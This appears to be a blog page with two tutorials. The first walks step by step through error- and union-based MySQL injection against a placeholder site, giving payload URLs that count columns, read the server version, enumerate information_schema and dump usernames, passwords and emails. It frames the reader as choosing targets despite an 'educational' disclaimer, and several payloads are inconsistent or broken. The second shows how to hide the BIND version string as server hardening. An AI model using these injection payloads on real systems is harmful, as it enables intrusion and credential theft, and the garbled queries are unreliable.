SQL Injection

NOTE: INTENDED FOR EDUCATIONAL PURPOSE ONLY. 

How to exploit the MySQL injection vulnerability (error bases SQL injection):

1st step: CHECKING FOR A VULNERABILITY

Suppose we have website like this:

http://www.site.com/script.php?id=21

To test this URL, we add a quote to it ‘

http://www.site.com/script.php?id=21′

On executing it, if we get an error like this: “You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near ‘\” at line 1
“, that means that the target is vulnerable to SQL injections.

If the error message returned is similar to this one: Warning: mysql_real_escape_string(): supplied argument is not a valid MySQL result resource in [file] at [line], then you will need to look for another target as you won’t be able to do SQL injections on that script.

What mysql_real_escape_string does is take a string that is going to be used in a MySQL query and return the same string with all SQL Injection attempts safely escaped. Basically, it will replace those troublesome quotes (‘) a user might enter with a MySQL-safe substitute, an escaped quote \’.

2nd step: FINDING THE COLUMNS

To find number of columns we use statement ORDER BY (tells to the database how to order the result). In order to use, we do increment until we get an error. Like:

http://www.site.com/script.php?id=21 order by 1 <– no error

http://www.site.com/script.php?id=21 order by 2 <– no error

http://www.site.com/script.php?id=21 order by 3 <– no error

http://www.site.com/script.php?id=21 order by 4 <– no error

http://www.site.com/script.php?id=21 order by 5 <– error

// you get message like this: Unknown column ‘5’ in ‘order clause’)

This means that it has 4 columns, cause we got an error for column 5.

3rd step: CHECKING THE FUNCTIONALITY OF THE UNION FUNCTION

The next step is to check the functionality of the union function. This is because using this function we can select more data in one statement only. Example:

http://www.site.com/script.php?id=21 union all select 1,2,3,4
//we already know the number of columns from step 2

If we see some numbers on screen, i.e. 1 or 2 or 3 or 4 that means the UNION works.

4th step: CHECKING THE MySQL VERSION

The first information that we will retrieve is the MySQL version. Lets us assume that while checking for the functionality of the union function, we got number 4 on the screen. So for detecting the version, we will replace number 4 of our query with @@version or version(). Example:

http://www.site.com/script.php?id=21 union all select 1,2,3,@@version

If you get an error union + illegal mix of collations (IMPLICIT + COERCIBLE), we need a convert() function. So for this you may use hex() and unhex():

http://www.site.com/script.php?id=21 union all select 1,2,3,unhex(hex(@@version))

LAST STEP: TABLE(S) AND COLUMN(S) NAME(S)

If the version used on the server is MySQL >=5.x, we will use the information_schema database (this database holds all the tables and columns). So to get it, we use table_name and information_schema. Example:

http://www.site.com/script.php?id=21 union all select 1,2,3,table_name from information_schema.tables

Here we replace the our number 4 with table_name to get the first table from information_schema.tables displayed on the screen. Now we must add
LIMIT to the end of query to list out each table. Example:

http://www.site.com/script.php?id=21 union all select 1,2,3,4table_name from information_schema.tables limit 0,1

Now to view the second table, we change limit 0, 1 to limit 1, 1 (the second table is displayed):

http://www.site.com/script.php?id=21 union all select 1,2,table_name from information_schema.tables limit 1,1

For third table we use limit 2,1:

http://www.site.com/script.php?id=21 union all select 1,2,table_name from information_schema.tables limit 2,1

Keep incrementing until you get some useful like db_admin, auth, auth_user, login_username, login_password etc.

To get the column names the method is the same. Here we use column_name and information_schema.columns. Example:

http://www.site.com/script.php?id=21 union all select 1,2,3,column_name from information_schema.columns limit 0,1

The first column name is displayed. For second column we will change the limit for 0,1 to 1,0 and so on. If you want to display column names for specific table use where clause: let us assume that we have found a table ‘user’. Example:

http://www.site.com/script.php?id=21 union all select 1,2,3,column_name from information_schema.columns where table_name=’users’

Note: that this won’t work if the magic quotes is ON.

Now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Let’s say that we found columns user, pass and email. Now to complete query to put them all together using concat():

http://www.site.com/script.php?id=21 union all select 1,2,3,concat(user,0x3a,pass,0x3a,email) from users

Note: 0x3a is hex value for colon.

The result is user:pass:email from table users!

check and hide BIND version

Nowadays, the security of a Linux server starts with the security of each application. Running an outdated software version (Apache, MySQL, Exim, Bind) would leave your server vulnerable, as many of those old version have a bunch of security issues. This is why a good starting point would be to hide your services versions, as this information can be useful to an attacker, to focus on the specific version that you are running.

BIND (or named) is the most commonly used DNS (Domain Name Server) on the Internet. Many BIND version are vulnerable to different types of attacks, and this is why we will focus this small tutorial on how to hide your BIND version, on the Chaos class (CH):

[dragos@dragos-laptop ~]$ dig @domain.com -c CH -t txt version.bind

; <<>> DiG 9.7.1-P2-RedHat-9.7.1-2.P2.fc13 <<>> @auxell.ro -c CH -t txt version.bind
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 65190
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;version.bind.            CH    TXT

;; ANSWER SECTION:
version.bind.        0    CH    TXT    “9.3.6-P1-RedHat-9.3.6-4.P1.el5_4.2”

;; AUTHORITY SECTION:
version.bind.        0    CH    NS    version.bind.

;; Query time: 38 msec
;; SERVER: 85.204.103.34#53(85.204.103.34)
;; WHEN: Sun Nov 14 00:09:19 2010
;; MSG SIZE  rcvd: 91

As you can see on the output the version that I’m running on one of my servers is 9.3.6-P1-RedHat-9.3.6-4.P1.el5_4.2. This could help an attacker to focus his ‘work’ on this version’s vulnerabilities (if any), and this is why I will hide to version, at least to make his work less easy.

For this you will need to open the configuration file of the BIND service (since I’m running it on a chroot environment the path for it is /var/named/chroot/etc/named.conf), and find the option directive. Here I will add a new entry with this format: version “desired string”; .

vi /var/named/chroot/etc/named.conf

options {
directory “/var/named”;
dump-file “/var/named/data/cache_dump.db”;
statistics-file “/var/named/data/named_stats.txt”;
version “Try again, fail again. Fail better.”;
/*
* If there is a firewall between you and nameservers you want
* to talk to, you might need to uncomment the query-source
* directive below.  Previous versions of BIND always asked
* questions using port 53, but BIND 8.1 uses an unprivileged
* port by default.
*/
// query-source address * port 53;
};

Finally, save and restart the DNS server and perform the same query again:

[root@server ~]# service named reload
Reloading named:                                           [  OK  ]

[dragos@dragos-laptop ~]$ dig @domain.com -c CH -t txt version.bind +short
“Try again, fail again. Fail better.”